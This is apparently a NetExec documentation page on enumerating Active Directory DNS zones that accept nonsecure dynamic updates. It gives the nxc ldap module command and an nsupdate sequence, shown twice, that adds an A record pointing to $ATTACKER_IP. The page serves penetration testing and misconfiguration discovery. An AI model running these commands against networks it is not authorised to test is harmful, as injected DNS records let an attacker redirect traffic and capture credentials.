🆕Enumerate Unsecure DNS Zones
nxc ldap $DC_IP -u $USER -p $PASSWORD -M dns-nonsecureExploitation
nsupdate
> server $TARGET
> zone $ZONE
> update add $RECORD.$ZONE 0 A $ATTACKER_IP
> show
> send
Last updated
Was this helpful?
This module enumerates DNS zones that are configured with the Nonsecure and secure setting for dynamic updates. This misconfiguration allows unauthenticated users to add DNS records and, in some cases, delete or modify existing records.
nxc ldap $DC_IP -u $USER -p $PASSWORD -M dns-nonsecureIf you find misconfigured zones, you can interact with dynamic updates through nsupdate. Here is an example of adding an A record that points to the attacker machine:
nsupdate
> server $TARGET
> zone $ZONE
> update add $RECORD.$ZONE 0 A $ATTACKER_IP
> show
> send
Last updated
Was this helpful?
Was this helpful?

